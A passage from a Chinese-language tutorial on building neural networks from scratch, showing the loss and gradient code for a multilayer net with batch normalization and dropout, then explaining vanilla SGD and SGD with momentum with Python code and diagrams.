ๆ’ญ็ฌฌไธ€ๅฑ‚็š„ๅ‚ๆ•ฐ๏ผŒself.bn_params[1]ๅฏนๅบ”็ฌฌไบŒๅฑ‚็š„ๅ‚ๆ•ฐ๏ผŒไปฅๆญค็ฑปๆŽจใ€‚\n \"\"\"\n fc_mix_cache = {}\t\t# ๅˆๅง‹ๅŒ–ๆฏๅฑ‚ๆญฃๅ‘ไผ ๆ’ญ็š„็ผ“ๅ†ฒๅญ—ๅ…ธ\n if self.use_dropout:\t# ๅฆ‚ๆžœๅผ€ๅฏไบ†dropout๏ผŒๅˆๅง‹ๅŒ–ๅ…ถๅฏนๅบ”็š„็ผ“ๅ†ฒๅญ—ๅ…ธ\n dp_cache = {}\n\t\t\"\"\"\n\t\t\"\"\"\n # ไปŽ็ฌฌไธ€ไธช้š่—ๅฑ‚ๅผ€ๅง‹ๅพช็Žฏๆฏไธ€ไธช้š่—ๅฑ‚๏ผŒไผ ้€’ๆ•ฐๆฎout๏ผŒไฟๅญ˜ๆฏไธ€ๅฑ‚็š„็ผ“ๅ†ฒcache\n out = X\t\t\n for i in range(self.num_layers - 1):\t# ๅœจๆฏไธชhiddenๅฑ‚ไธญๅพช็Žฏ\n w, b = self.params[\"W%d\" % (i + 1,)], self.params[\"b%d\" % (i + 1,)] \n if self.use_batchnorm:\t\t\t\t# ่‹ฅๅผ€ๅฏๆ‰น้‡ๅฝ’ไธ€ๅŒ–\n gamma = self.params[\"gamma%d\" % (i + 1,)]\n beta = self.params[\"beta%d\" % (i + 1,)]\n out, fc_mix_cache[i] = affine_bn_relu_forward(out, w, b\n ,gamma\n ,beta\n ,self.bn_params[i])\n else:\t\t\t\t\t\t\t\t# ่‹ฅๆœชๅผ€ๅฏๆ‰น้‡ๅฝ’ไธ€ๅŒ–\n out, fc_mix_cache[i] = affine_relu_forward(out, w, b)\n if self.use_dropout:\t\t\t\t# ่‹ฅๅผ€ๅฏdropout\n out, dp_cache[i] = dropout_forward(out, self.dropout_param)\n # ๆœ€ๅŽ็š„่พ“ๅ‡บๅฑ‚\n w = self.params[\"W%d\" % (self.num_layers,)]\n b = self.params[\"b%d\" % (self.num_layers,)]\n out, out_cache = affine_forward(out, w, b)\n scores = out\n\t\t\"\"\"\n\t\tๅฏไปฅ็œ‹ๅˆฐ๏ผŒไธŠ้ขๅฏน้š่—ๅฑ‚็š„ๆฏๆฌกๅพช็Žฏไธญ๏ผŒoutๅ˜้‡ๅฎž็Žฐไบ†่‡ชๆˆ‘่ฟญไปฃๆ›ดๆ–ฐ๏ผ›\n\t\tfc_mix_cache ็ผ“ๅ†ฒๅญ—ๅ…ธไธญ้กบๅบๅœฐๅญ˜ๅ‚จไบ†ๆฏไธช้š่—ๅฑ‚็š„ๅพ—ๅˆ†ๆƒ…ๅ†ตๅ’Œๆจกๅž‹ๅ‚ๆ•ฐ(ๅ…ถไธญๅฏๅ†…ๅซBNๅฑ‚)๏ผ›\n\t\tdp_cache ็ผ“ๅ†ฒๅญ—ๅ…ธไธญๅ•็‹ฌ้กบๅบๅœฐไฟๅญ˜ไบ†ๆฏไธชdropoutๅฑ‚็š„ๅคฑๆดปๆฆ‚็Ž‡ๅ’Œ้ฎ็ฝฉ๏ผ›\n\t\tout_cache ๅ˜้‡็ผ“ๅญ˜ไบ†่พ“ๅ‡บๅฑ‚ๅค„็š„ไฟกๆฏ๏ผ›\n\t\tๅ€ผๅพ—็•™ๆ„็š„ๆ˜ฏ๏ผŒ่‹ฅๅผ€ๅฏๆ‰น้‡ๅฝ’ไธ€ๅŒ–็š„่ฏ๏ผŒBNๅฑ‚็š„ๅ‚ๆ•ฐๅˆ—่กจ self.bn_params[i]๏ผŒ\n\t\tไปŽ็ฌฌไธ€ๅฑ‚ๅผ€ๅง‹ๅคšๅ‡บ'running_mean'ๅ’Œ'running_var'็š„้”ฎๅ€ผไฟๅญ˜ๅœจๅ‚ๆ•ฐๅˆ—่กจ็š„ๆฏไธ€ไธชๅ…ƒ็ด ไธญ๏ผŒ\n\t\tๅฝขๅฆ‚๏ผš[{'mode': 'train','running_mean': ***,'running_var':***},{...}]\n\t\t\"\"\"\n \"\"\"\n \"\"\"\n # ๆŽฅไธ‹ๆฅๅผ€ๅง‹่ฎฉlossๅ‡ฝๆ•ฐๅŒบๅˆ†ไธๅŒๆจกๅผ๏ผš\n if mode == 'test':\t# ่‹ฅๆ˜ฏๆต‹่ฏ•ๆจกๅผ๏ผŒ่พ“ๅ‡บscores่กจ็คบ้ข„ๆต‹็š„ๆฏไธชๅˆ†็ฑปๆฆ‚็Ž‡ๅŽ๏ผŒๅ‡ฝๆ•ฐๅœๆญข่ทณๅ‡บใ€‚\n return scores\n\t\t\"\"\"\n\t\t\"\"\"\n \"\"\"\n %ๅๅ‘ไผ ๆ’ญ%\n ๆ—ข็„ถ่ฟ่กŒๅˆฐไบ†่ฟ™้‡Œ๏ผŒ่ฏดๆ˜Žๆˆ‘ไปฌ็š„็ฅž็ป็ฝ‘็ปœๆ˜ฏๅœจ่ฎญ็ปƒๆจกๅผไธ‹ไบ†๏ผŒ\n ๆŽฅไธ‹ๆฅๆˆ‘ไปฌ่ฆ่ฎก็ฎ—ๆŸๅคฑๅ€ผ๏ผŒๅนถไธ”้€š่ฟ‡ๅๅ‘ไผ ๆ’ญ๏ผŒ่ฎก็ฎ—ๆŸๅคฑๅ‡ฝๆ•ฐๅ…ณไบŽๆจกๅž‹ๅ‚ๆ•ฐ็š„ๆขฏๅบฆ๏ผ\n \"\"\"\n loss, grads = 0.0, {}\t# ๅˆๅง‹ๅŒ– loss ๅ˜้‡ๅ’Œๆขฏๅบฆๅญ—ๅ…ธ grads\n loss, dout = softmax_loss(scores, y)\n loss += 0.5 * self.reg * np.sum(self.params[\"W%d\" % (self.num_layers,)]**2)\n \"\"\"\n ไฝ ๅฏ่ƒฝๅฅ‡ๆ€ชไธŠ้ข็š„lossๆŸๅคฑๅ€ผๆ˜ฏไธๆ˜ฏๆœ‰้—ฎ้ข˜๏ผŒ่ฟ˜ๆœ‰ๅ…ถไป–้š่—ๅฑ‚็š„ๆƒ้‡็Ÿฉ้˜ต็š„ๆญฃๅˆ™ๅŒ–ๅ‘ข๏ผŸ\n ๅˆซ็€ๆ€ฅ๏ผŒๆˆ‘ไปฌ่ฆlossๆŸๅคฑๅ€ผ็š„ๆฑ‚่งฃ๏ผŒ่ทŸ้šๆขฏๅบฆ็š„ๅๅ‘ไผ ๆ’ญไธ€็‚นไธ€็‚น็š„็ฎ—ๅ‡บๆฅ๏ฝž\n \"\"\"\n # ๅœจ่พ“ๅ‡บๅฑ‚ๅค„ๆขฏๅบฆ็š„ๅๅ‘ไผ ๆ’ญ๏ผŒ้กบไพฟๆŠŠๆขฏๅบฆไฟๅญ˜ๅœจๆขฏๅบฆๅญ—ๅ…ธ grad ไธญ๏ผš\n dout, dw, db = affine_backward(dout, out_cache)\n grads[\"W%d\" % (self.num_layers,)] = dw + self.reg * \\\n self.params[\"W%d\" % (self.num_layers,)]\n grads[\"b%d\" % (self.num_layers,)] = db\n\t\t# ๅœจๆฏไธ€ไธช้š่—ๅฑ‚ๅค„ๆขฏๅบฆ็š„ๅๅ‘ไผ ๆ’ญ๏ผŒไธไป…้กบไพฟๆ›ดๆ–ฐไบ†ๆขฏๅบฆๅญ—ๅ…ธ grad๏ผŒ่ฟ˜่ฟญไปฃ็ฎ—ๅ‡บไบ†ๆŸๅคฑๅ€ผloss:\n for i in range(self.num_layers - 1):\n ri = self.num_layers - 2 - i\t# ๅ€’ๆ•ฐ็ฌฌri+1้š่—ๅฑ‚\n loss += 0.5 * self.reg * \\\t\t# ่ฟญไปฃๅœฐ่กฅไธŠๆฏๅฑ‚็š„ๆญฃๅˆ™้กน็ป™loss\n np.sum(self.params[\"W%d\" % (ri+1,)]**2)\n if self.use_dropout:\t\t\t# ่‹ฅๅผ€ๅฏdropout\n dout = dropout_backward(dout, dp_cache[ri])\n if self.use_batchnorm:\t\t\t# ่‹ฅๅผ€ๅฏๆ‰น้‡ๅฝ’ไธ€ๅŒ–\n dout, dw, db, dgamma, dbeta = affine_bn_relu_backward(dout, \n fc_mix_cache[ri])\n grads[\"gamma%d\" % (ri+1,)] = dgamma\n grads[\"beta%d\" % (ri+1,)] = dbeta\n else:\t\t\t\t\t\t\t# ่‹ฅๆœชๅผ€ๅฏๆ‰น้‡ๅฝ’ไธ€ๅŒ–\n dout, dw, db = affine_relu_backward(dout, fc_mix_cache[ri])\n grads[\"W%d\" % (ri+1,)] = dw + self.reg * self.params[\"W%d\" % (ri+1,)]\n grads[\"b%d\" % (ri+1,)] = db\n\n return loss, grads\t# ่พ“ๅ‡บ่ฎญ็ปƒๆจกๅผไธ‹็š„ๆŸๅคฑๅ€ผๅ’ŒๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๆขฏๅบฆ๏ผ\n```\n\n่™ฝ็„ถๆณจ้‡Šๅทฒ็ป็ป™็š„่ถณๅคŸ่ฏฆ็ป†ไบ†๏ผŒไฝ†่ฟ˜ๆ˜ฏๆœ‰ๅฟ…่ฆไธบ่ฟ™ไธชๅผบๅคง็š„็ฅž็ป็ฝ‘็ปœ็”ปไธ€ๅผ **\"ๆ•ฐๆฎๆตๅŠจ่ตฐๅ‘ๅ›พ\"**ๆ‰่ƒฝ็œŸ็š„่ฎฉๆˆ‘ไปฌๅฟƒๆœ‰ๆˆ็ซน๏ผŒๅฆˆๅฆˆๅ†ไนŸไธ็”จๆ‹…ๅฟƒๆˆ‘็š„ๅญฆไน ๏ฝž\n\n![diy็ฅž็ป็ฝ‘็ปœ3](assets/diy็ฅž็ป็ฝ‘็ปœ3.jpeg)\n\n![diy็ฅž็ป็ฝ‘็ปœ4](assets/diy็ฅž็ป็ฝ‘็ปœ4.jpeg)\n\n\n\n\n\n\n\n\n\n\n\n---\n\n## ๆœ€็ปˆ็ซ ๏ผ\n\n\n\n\n็Žฐๅœจ๏ผŒๆˆ‘ไปฌๅทฒ็ปไผšๅพˆ่ฝป็š„ๆพๆญๅปบไธ€ไธชๅผบๅคงไธ”ๅคๆ‚็š„็ฅž็ป็ฝ‘็ปœไบ†๏ผŒๅนถไธ”ๆˆ‘ไปฌๅง‹็ปˆ้‡‡็”จๆจกๅ—ๅŒ–ไปฃ็ ไธ€ๆญฅไธ€ๆญฅๅฎž็Žฐ๏ผŒๅ› ่€Œๅฏไปฅๅพˆๅฎนๆ˜“ๅฐ†ๅ…ถ่ฝฌๅŒ–ๆˆๅบ”ๅฏนไธๅŒๅœบๆ™ฏ็Žฏๅขƒ็š„็ฅž็ป็ฝ‘็ปœๆจกๅž‹ใ€‚็„ถ่€Œ๏ผŒๆˆ‘ไปฌ็š„ๆ•…ไบ‹ๅ…ถๅฎžไธ€็›ดๅœจๅพˆๆจก็ณŠไธ€ไธชไบ‹ๅฎž๏ผš\n\n- ็ฅž็ป็ฝ‘็ปœ็ฉถ็ซŸๆ˜ฏๅฆ‚ไฝ•ๅทฅไฝœ็š„ๅ‘ข๏ผŸ\n- ๅฆ‚ไฝ•ๆ‰่ƒฝๆ›ด้ซ˜ๆ•ˆ็š„ๅทฅไฝœ๏ผŸ\n- ็ฅž็ป็ฝ‘็ปœๆก†ๆžถๆ˜ฏๆญๅปบไบ†๏ผŒไฝ†ๅฎƒๆ˜ฏ้™ๆ€ไธๅŠจ็š„๏ผŒๆ‰€ไปฅ่ฎญ็ปƒ็š„ๅŠจๆ€็ป†่Š‚ๆ˜ฏไป€ไนˆ๏ผŸ\n\nๆŽฅไธ‹ๆฅ๏ผŒๆˆ‘ไปฌ็š„ๆ•…ไบ‹ๅฐฑไผšๆŽฅ่งฆๅˆฐ่ฟ™ไบ›ๆœ€ไผ˜ๅŒ–้—ฎ้ข˜๏ผŒๅช่ฆๆˆ‘ไปฌ่งฃๅ†ณๆŽ‰่ฟ™ไธชๆ•…ไบ‹ไธญไธŠ่ฟฐ็š„็ปˆๆžๅคงboss๏ผŒๆ‰่ƒฝ็œŸๆญฃๅฎŒ็พŽ็š„ๅ‰ง็ปˆ๏ฝž\n\n\n\n### ๆผซๆผซไผ˜ๅŒ–่ทฏโ€”โ€”SGD with momentum\n\n> ไธๅฟ˜ๅˆๅฟƒ๏ผŒๆ–นๅพ—ๅง‹็ปˆใ€‚\n\nๅ›žๅฟ†ไธ€ไธ‹๏ผŒๆˆ‘ไปฌๆœ€ๅˆๆž„ๅปบ็ฅž็ป็ฝ‘็ปœๆ˜ฏไธบไบ†ไป€ไนˆๅ‘ข๏ผŸ๏ฝž๏ฝž๏ฝž ๆ˜ฏไธบไบ†็ป™ๅ›พ็‰‡ๅˆ†็ฑปใ€‚ๅฝ“ไธ€ๅ †ๆ ทๆœฌๅ›พ็‰‡่ฟ›ๅ…ฅๅˆฐ็ฅž็ป็ฝ‘็ปœไธญๆ—ถ๏ผŒๆ‰€ๆœ‰็š„็ฅž็ปๅ…ƒ้ƒฝๅœจไธๆ–ญ็š„ๆ‰“ๅˆ†ๅš่ฏ„ไปท๏ผŒๆœ€็ปˆ่พ“ๅ‡บ็š„ๆ˜ฏไธคไธชๅ€ผ๏ผšๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๅ€ผๅ’ŒๆŸๅคฑๅ‡ฝๆ•ฐๅ…ณไบŽๆจกๅž‹ๅ‚ๆ•ฐ็š„ๆขฏๅบฆใ€‚่€Œ็ฅž็ป็ฝ‘็ปœไธบไบ†่ƒฝๆญฃ็กฎ็š„ๅˆ†่พจๅ‡บๆฏไธ€ไธชๅ›พ็‰‡๏ผŒๅฐฑๅฟ…้กปๆœ‰ไธ€ๅฅ—\"ๆญฃ็กฎ็š„\"ๆจกๅž‹ๅ‚ๆ•ฐๆ‰่กŒ๏ผŒๅ…ถไฝฟๅพ—ๆŸๅคฑๅ‡ฝๆ•ฐ่พพๅˆฐ(ๅฑ€้ƒจ)ๆœ€ๅฐๅ€ผใ€‚ไบŽๆ˜ฏ๏ผŒๅŸบไบŽๆŸไธ€ๆ‰นๆ ทๆœฌๅ›พ็‰‡ไธ‹๏ผŒๅฆ‚ไฝ•ๅˆฉ็”จ็ฎ—ๅพ—็š„ๆŸๅคฑๅ‡ฝๆ•ฐๅ€ผๅŠๅ…ถๅ…ณไบŽๆจกๅž‹ๅ‚ๆ•ฐ็š„ๆขฏๅบฆ๏ผŒๅฐฑๆˆไธบไบ†ๅฏน็ฅž็ป็ฝ‘็ปœๆœ€ไผ˜ๅŒ–็š„ๆ ธๅฟƒ้—ฎ้ข˜ใ€‚\n\nๆ•…ไบ‹ๅœจ่ฐˆๅˆฐๅๅ‘ไผ ๆ’ญ็ฎ—ๆณ•็š„ๆ—ถๅ€™๏ผŒๆˆ‘ไปฌๅ…ถๅฎžๅทฒ็ปๆŽฅ่งฆๅˆฐไบ†**้šๆœบๆขฏๅบฆไธ‹้™๏ผˆstochastic gradient descent๏ผ‰**็š„ๅ†…ๆถต๏ผšๅœจ่ดŸๆขฏๅบฆๆ–นๅ‘ไธŠๅฏนๆจกๅž‹ๅ‚ๆ•ฐ่ฟ›่กŒๆ›ดๆ–ฐใ€‚\n\n่™ฝ็„ถ่ฏด็š„ๅพˆ็ฅžไนŽๅ…ถ็ฅž๏ผŒๅ…ณ้”ฎไธ€ๅฎš่ฆๆ˜Ž็™ฝๆขฏๅบฆๆ–นๅ‘ๆ˜ฏ่ฎฉๆŸๅคฑๅ‡ฝๆ•ฐๅ€ผๅขžๅคง็š„ๆ–นๅ‘ๅฐฑๅฅฝ๏ผŒไธ‹้ข็›ดๆŽฅๅฎšไน‰ `sgd(w, dw, config=None) = (w, config) ` ๅ‡ฝๆ•ฐไปฃ็ ๅฐฑๆ›ดๆธ…ๆฅšไบ†๏ผš\n\n```python\ndef sgd(w, dw, config=None):\n \"\"\"\n Performs vanilla stochastic gradient descent.\n config format:\n - learning_rate: Scalar learning rate.\n \"\"\"\n if config is None: config = {}\n config.setdefault('learning_rate', 1e-2)\n\n w -= config['learning_rate'] * dw\n return w, config\n```\n\n**ไปฃ็ ่ฏฆ่งฃ๏ผš**\n\n- ๅ‡ฝๆ•ฐ็š„่พ“ๅ…ฅ`w, dw`๏ผŒๅˆ†ๅˆซๆ˜ฏๆ ทๆœฌๅ›พ็‰‡็ป่ฟ‡็ฅž็ป็ฝ‘็ปœๆ—ถ็š„ๆŸไธชๆจกๅž‹ๅ‚ๆ•ฐๅ’Œ่ฏฅๅ‚ๆ•ฐๅฏนๅบ”็š„ๆŸๅคฑๅ‡ฝๆ•ฐๆขฏๅบฆ๏ผ›`config` ๅฆ‚ๆžœๆฒกๆœ‰ๅœจๅ‡ฝๆ•ฐไธญ่พ“ๅ…ฅ็š„่ฏ๏ผŒไผš้ป˜่ฎคไธบไธ€ไธชๅญ—ๅ…ธ๏ผš`{'learning_rate', 1e-2}`๏ผŒๅ…ถไธญ `learning_rate` ้€šๅธธๅซๅšๅญฆไน ็Ž‡๏ผŒๅฎƒๆ˜ฏไธ€ไธชๅ›บๅฎš็š„ๅธธ้‡๏ผŒๆ˜ฏไธ€ไธช**่ถ…ๅ‚ๆ•ฐ**๏ผŒๅณไธŽโ€œๆจกๅž‹ๅ‚ๆ•ฐโ€ไธๅŒ๏ผŒๆ˜ฏ้œ€่ฆไบบๅทฅ็ป้ชŒๅœจ็ฅž็ป็ฝ‘็ปœๅค–้ƒจ่ฎพ็ฝฎ่ฐƒๆ•ด็š„๏ผŒไธŽๅพ…ๅญฆไน ็š„ๆจกๅž‹ๅ‚ๆ•ฐไธๅŒใ€‚ๅฝ“็ฅž็ป็ฝ‘็ปœๅœจๆ•ดไธชๅ›พ็‰‡ๆ•ฐๆฎ้›†ไธŠ่ฟ›่กŒ่ฎก็ฎ—ๆ—ถ๏ผŒๅช่ฆๅญฆไน ็Ž‡่ถณๅคŸไฝŽ๏ผŒๆ€ปๆ˜ฏ่ƒฝๅœจๆŸๅคฑๅ‡ฝๆ•ฐไธŠๅพ—ๅˆฐ้ž่ดŸ็š„่ฟ›ๅฑ•ใ€‚\n- `w -= config['learning_rate'] * dw` ๅฐฑๆ˜ฏ้šๆœบๆขฏๅบฆไธ‹้™็š„็ฎ—ๆณ•ๆ ธๅฟƒไบ†๏ผŒๅช้œ€่ฆๅœจๆฏไธ€ๆฌกๅ‚ๆ•ฐๆ›ดๆ–ฐๆ—ถ๏ผŒๅ‡ๅŽปไปฅๅญฆไน ็Ž‡ไธบๅ€ๆ•ฐ็š„ๆขฏๅบฆๅ€ผๅณๅฏ๏ผŒๆœ€ๅŽ่พ“ๅ‡บๆ›ดๆ–ฐๅŽ็š„ๆ–ฐๆจกๅž‹ๅ‚ๆ•ฐ `w` ๅ’Œsgd็ฎ—ๆณ•็š„่ฎพ็ฝฎๅญ—ๅ…ธ `config`ใ€‚\n\nไธŠ่ฟฐๅฐฑๆ˜ฏๆœ€็ฎ€ๅ•ๆœ€ๆ™ฎ้€š็š„ๆจกๅž‹ๅ‚ๆ•ฐๆ›ดๆ–ฐๆ–นๆณ•ไบ†๏ผŒๅ…ถๆ ธๅฟƒๆ€ๆƒณๅฐฑๆ˜ฏ่ฆๆ‰พๅˆฐๆŸๅคฑๅ‡ฝๆ•ฐ็š„่ถ…ๆ›ฒ้ขไธŠๆœ€้™กๅณญ็š„ๆ–นๅ‘๏ผŒ็„ถๅŽๆŠ•ๅฝฑๅˆฐๆจกๅž‹ๅ‚ๆ•ฐ็ฉบ้—ดไธญ๏ผŒไธบๆจกๅž‹ๅ‚ๆ•ฐ็š„ๆ›ดๆ–ฐๅธฆๆฅๅฏ็คบใ€‚ๅฆ‚ไธ‹ๅ›พ๏ผš\n\n---\n\n![](https://image.slidesharecdn.com/optimization-150210111739-conversion-gate01/95/optimizationgradient-descent-9-638.jpg?cb=1423616779)\n\nไธ่ฟ‡่ฟ™็งๆœด็ด ็š„ๆ–นๆณ•๏ผŒๅฏนไบŽๅƒๆ˜ฏๅณก่ฐทๅฝข็Šถ็š„ๆŸๅคฑๅ‡ฝๆ•ฐๆ›ฒ้ขไธŠ็š„็‚นๆฅ่ฏดๅฐฑๆ•ˆๆžœๆฒก้‚ฃไนˆๅฅฝไบ†๏ผš\n\n![](http://ludovicarnold.altervista.org/wp-content/uploads/2015/01/gradient-trajectory.png)\n\nไธŠๅ›พไธญ็š„ๆ›ฒ็บฟๆ˜ฏๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๅ…ณไบŽๆจกๅž‹ๅ‚ๆ•ฐ็š„\"็ญ‰้ซ˜็บฟ\"๏ผŒๆฏไธ€ๆกๆ›ฒ็บฟไธŠ็š„็‚น้ƒฝๆœ‰็€็›ธๅŒ็š„ๆŸๅคฑๅ‡ฝๆ•ฐๅ€ผ๏ผŒๅœ†ๅฟƒๅค„ๅฏนๅบ”ไบŽๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๅฑ€้ƒจๆœ€ๅฐๅ€ผใ€‚้€”ไธญ็š„aๅ’Œb้ƒฝๆ˜ฏ็ฅž็ป็ฝ‘็ปœๅœจ้ขๅฏนๆฏไธ€ๆ‰นไธๅŒ็š„ๆ ทๆœฌๅ›พ็‰‡ๆ—ถๆ‰€่ฟ›่กŒ็š„ๅ‚ๆ•ฐๆ›ดๆ–ฐ่ทฏ็บฟ๏ผŒaๅพˆ้กบๅˆฉ็š„ไธ€ๆญฅๆญฅ่ตฐๅ‘โ€็›†ๅœฐโ€œ็š„ๆœ€ไฝŽ็‚น๏ผŒ่€Œb็š„ๅ‡บๅ‘็‚นไฝไบŽไธ€ไธช็ป†็ช„็š„โ€ๅณก่ฐทโ€œๅค„๏ผŒไบŽๆ˜ฏ่ดŸๆขฏๅบฆๆ–นๅ‘ๅฐฑๅพˆๅฏ่ƒฝๅนถไธๆ˜ฏไธ€็›ดๆŒ‡ๅ‘็€็›†ๅœฐๆœ€ไฝŽ็‚น๏ผŒ่€Œๆ˜ฏไผšๅ…ˆ้กบ็€ๆ›ด\"้™กๅณญ\"ๅณก่ฐท่ตฐๅˆฐ่ฐทๅบ•๏ผŒๅ†ไธ€็‚นไธ€็‚น้œ‡่ก็€้ ่ฟ‘็›†ๅœฐๆœ€ไฝŽ็‚นใ€‚\n\n---\n\nๆ˜พ็„ถ๏ผŒ่ฟๆฐ”่ฆๆ˜ฏไธๅฅฝ๏ผŒไผ ็ปŸ็š„ๆขฏๅบฆไธ‹้™ๆ–นๆณ•็š„ๆ”ถๆ•›้€Ÿๅบฆไผšๅพˆ็ณŸ็ณ•ใ€‚ไบŽๆ˜ฏ๏ผŒๅฐฑๆœ‰ไบ†**้šๆœบๆขฏๅบฆไธ‹้™็š„ๅŠจ้‡ๆ›ดๆ–ฐๆ–นๆณ•๏ผˆstochastic gradient descent with momentum๏ผ‰**๏ผŒ่ฟ™ไธชๆ–นๆณ•ๅœจ็ฅž็ป็ฝ‘็ปœไธŠๅ‡ ไนŽๆ€ป่ƒฝๅพ—ๅˆฐๆ›ดๅฅฝ็š„ๆ”ถๆ•›้€Ÿๅบฆใ€‚่ฏฅๆ–นๆณ•ๅฏไปฅ็œ‹ๆˆๆ˜ฏไปŽ็‰ฉ็†่ง’ๅบฆไธŠๅฏนไบŽๆœ€ไผ˜ๅŒ–้—ฎ้ข˜ๅพ—ๅˆฐ็š„ๅฏๅ‘ใ€‚ไผ ็ปŸ็š„ๆขฏๅบฆไธ‹้™ๆœฌ่ดจไธŠๆ˜ฏๅฐ†ๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๆขฏๅบฆๅ‘้‡ๆŠ•ๅฝฑๅœจๆจกๅž‹ๅ‚ๆ•ฐ็ฉบ้—ด๏ผŒ็„ถๅŽๆŒ‡ๅฏผๆฏไธชๆจกๅž‹ๅ‚ๆ•ฐๅฆ‚ไฝ•ๆ›ดๆ–ฐ๏ผŒๆฏๆฌกๆ›ดๆ–ฐ็š„ๅน…ๅบฆ็”ฑlearnning_rateๆฅๆŽงๅˆถ๏ผ›่€ŒๅŠจ้‡็‰ˆๆœฌ็š„ๆขฏๅบฆไธ‹้™ๆ–นๆณ•ๅฏไปฅ็œ‹ไฝœๆ˜ฏๅฐ†ๅˆ้€Ÿๅบฆไธบ0็š„ๅฐ็ƒไปŽๅœจไธ€ไธชๅฑฑไฝ“่กจ้ขไธŠๆ”พๆ‰‹๏ผŒไธๅŒ็š„ๆŸๅคฑๅ€ผไปฃ่กจๅฑฑไฝ“่กจ้ข็š„ๆตทๆ‹”้ซ˜ๅบฆ๏ผŒ้‚ฃไนˆๆจกๅž‹ๅ‚ๆ•ฐ็š„ๆ›ดๆ–ฐไธๅ†ๅŽปๅ‚่€ƒๅฐ็ƒๆ‰€ๅœจๅค„็š„ๅฑฑไฝ“ๅ€พๆ–œๆƒ…ๅ†ต๏ผŒ่€Œๆ˜ฏๆ”น็”จๅฐ็ƒ็š„้€Ÿๅบฆ็Ÿข้‡ๅœจๆจกๅž‹ๅ‚ๆ•ฐ็ฉบ้—ด็š„ๆŠ•ๅฝฑๆฅไฟฎๆญฃๆ›ดๆ–ฐๅ‚ๆ•ฐใ€‚\n\n---\n\n![](https://i.loli.net/2018/07/09/5b437bf064963.png)\n\nๅฆ‚ไธŠๅ›พๆ‰€็คบ๏ผŒไปŽ็ฌฌไธ€ๆฌกๅ‚ๆ•ฐๆ›ดๆ–ฐไน‹ๅŽ๏ผŒๆฏไธ€็‚น็š„ๆขฏๅบฆ็Ÿข้‡ๅ’Œ้€Ÿๅบฆ็Ÿข้‡ไธ€่ˆฌๆ˜ฏไธๅŒ็š„ใ€‚ๅฐ็ƒๆ‰€ๆ”ถๅˆฐ็š„ๅˆๅค–ๅŠ›ๅฏไปฅ็œ‹ไฝœๆ˜ฏไฟๅฎˆๅŠ›๏ผŒๅฐฑๆ˜ฏๆŸๅคฑๅ‡ฝๆ•ฐ็š„่ดŸๆขฏๅบฆ$(F=-\\nabla L)$๏ผŒๅ†็”ฑ็‰›้กฟๅฎš็†$(F=ma=m\\frac{dv}{dt})$๏ผŒๅฐฑๅฏไปฅๅพ—ๅˆฐๅŠจ้‡ๅ…ณไบŽๆ—ถ้—ด็š„ๅ˜ๅŒ–ๅ…ณ็ณปโ€”โ€”ไบฆๆ‰€่ฐ“ๅŠจ้‡ๅฎš็†$(Fdt=mdv)$๏ผŒ่‹ฅๅœจๅ•ไฝๆ—ถ้—ดtไธŠไธค่พน็งฏๅˆ†๏ผŒไธ”ๅ•ไฝๆ—ถ้—ดtๅ†…็œ‹ไฝœๆฏไธ€ๆฌกๆจกๅž‹ๅ‚ๆ•ฐ็š„่ฟญไปฃๆ›ดๆ–ฐ็š„่ฏ๏ผŒๅฐฑๅฏไปฅ็ป™ๅ‡บๅŠจ้‡ๆ›ดๆ–ฐ็š„่กจ่พพๅผ๏ผš$p_1 = p_0-a \\nabla L$ (ๅ…ถไธญ๏ผŒๅญฆไน ็Ž‡a๏ผŒๅŠจ้‡$p=mv$๏ผŒๅนถ้ป˜่ฎคไบ†ๅ•ไฝๆ•ฐ้—ดtๅ†…่ดŸๆขฏๅบฆๆ˜ฏไธŽๆ—ถ้—ดไธ็›ธๅ…ณ็š„ๅ‡ฝๆ•ฐ)ใ€‚ไธŽBN็ฎ—ๆณ•ไธญ็š„ไธ€ๆฌกๆŒ‡ๆ•ฐๅนณๆป‘ๆณ•็ฑปไผผ๏ผŒๆˆ‘ไปฌๅฏไปฅๅœจ่ฟญไปฃๆ›ดๆ–ฐๅŠจ้‡็š„่ฟ‡็จ‹ไธญๅผ•ๅ…ฅ็ฌฌไบŒไธช่ถ…ๅ‚ๆ•ฐ$\\mu$๏ผŒไปฅๆŒ‡ๆ•ฐ่กฐๅ‡็š„ๆ–นๅผ\"่ทŸ่ธช\"ไธŠไธ€ๆฌก\"ๅŠจ้‡\"็š„ๆ›ดๆ–ฐ๏ผš$p_1=\\mu p_0-a\\nabla L$ใ€‚ๆœ€ๅŽๅฐ†่ฟ™ไธชๅŠจ้‡็Ÿข้‡ๆŠ•ๅฝฑๅˆฐๅ‚ๆ•ฐ็ฉบ้—ดๅŽปๆ›ดๆ–ฐๆจกๅž‹ๅ‚ๆ•ฐใ€‚\n\n็›ดๆŽฅ็œ‹ไปฃ็ ๅง๏ผๆˆ‘ไปฌๅฎšไน‰ๅ‡ฝๆ•ฐ `sgd_momentum(w, dw, config) = (next_w, config) ` ๏ผš\n\n```python\ndef sgd_momentum(w, dw, config=None):\n \"\"\"\n Performs stochastic gradient descent with momentum.\n config format:\n - learning_rate: Scalar learning rate.\n - momentum: Scalar between 0 and 1 giving the momentum value.\n Setting momentum = 0 reduces to sgd.\n - velocity: A numpy array of the same shape as w and dw used to store a\n moving average of the gradients.\n \"\"\"\n if config is None: config = {}\n config.setdefault('learning_rate', 1e-2)\n config.setdefault('momentum', 0.9)\n v = config.get('velocity', np.zeros_like(w))\n next_w = None\n\n v = config[\"momentum\"] * v - config[\"learning_rate\"] * dw\n next_w = w + v\n config['velocity'] = v\n\n return next_w, config\n```\n\n**ไปฃ็ ่ฏฆ่งฃ๏ผš**\n\n- ๅ‡ฝๆ•ฐ็š„่พ“ๅ…ฅ`(w, dw)`ๅ’Œ่พ“ๅ‡บ`(next_w, config)`ไธŽ `sgd()` ๅ‡ฝๆ•ฐๆ ผๅผไปฅๅŠๅซไน‰ๅฎŒๅ…จๅฏนๅบ”ไธ€่‡ด๏ผŒๅชไธ่ฟ‡ `sgd_momentum()` ๅ‡ฝๆ•ฐ็š„ๆœ€ไผ˜ๅŒ–่ถ…ๅ‚ๆ•ฐๆœ‰ไธ‰ไธช `{'learning_rate': le-2, 'momentum': 0.9, 'velocity': np.zeros_like(w)}`๏ผŒๅ…ถไธญ็š„`velocity` 